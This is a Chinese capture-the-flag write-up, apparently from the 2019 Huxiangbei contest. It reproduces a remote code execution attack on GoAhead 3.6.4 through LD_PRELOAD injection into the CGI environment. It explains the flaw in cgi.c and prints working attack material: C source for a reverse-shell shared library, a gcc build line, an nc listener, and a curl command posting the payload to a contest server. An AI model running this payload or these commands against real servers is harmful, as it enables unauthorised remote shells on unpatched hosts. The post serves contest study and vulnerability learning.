0%

湖湘杯2019复现

WEB

打开链接,没什么东西。

查看源码

image-20191109213839151

进入提示的页面

image-20191109214035812

发现是GoAhead/3.6.4

百度了一下,发现 GoAhead 3.6.5之前的版本(2.5.0 – 3.6.4) 有个远程代码执行的漏洞

漏洞分析

GoAhead在接收到请求后,将会从URL参数中取出键和值注册进CGI程序的环境变量,且只过滤了REMOTE_HOST和HTTP_AUTHORIZATION。我们能够控制环境变量,就有很多攻击方式。比如在Linux中,LD_开头的环境变量和动态链接库有关,如LD_PRELOAD中指定的动态链接库,将会被自动加载;LD_LIBRARY_PATH指定的路径,程序会去其中寻找动态链接库。

我们可以指定LD_PRELOAD=/proc/self/fd/0,因为/proc/self/fd/0是标准输入,而在CGI程序中,POST数据流即为标准输入流。我们编译一个动态链接库,将其放在POST Body中,发送给http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI就会加载我们发送的动态链接库,造成远程命令执行漏洞。

漏洞原理

漏洞产生于goahead/src/cgi.c:cgiHandler中,程序遍历了用户访问时所带的参数,验证如果参数不为REMOTE_HOST或HTTP_AUTHORIZATION,则将其存储至envp数组。
该数组将作为接下来cgi调用的环境变量。可以看出正是这里对于参数的过滤不全,导致了用户可以修改CGI程序的LD_PRELOAD环境变量,致使漏洞存在。

漏洞利用

编写payload.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(1234);
attacker_addr.sin_addr.s_addr = inet_addr("ip地址");
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/sh", 0, 0);
}

编译动态库(注意和服务器环境相似)

1
gcc -shared -fPIC ./payload.c -o payload.so

image-20191109223215495

会报错,但不影响使用

服务器先监听1234端口

1
nc -lvvp 1234

image-20191109222241231

然后执行payload

1
curl -X POST --data-binary @payload.so http://183.129.189.62:13900/cgi-bin/index?LD_PRELOAD\=/proc/self/fd/0 -i | head

服务错误就多运行几次

image-20191109222659969

得到flag

-------------本文结束感谢您的阅读-------------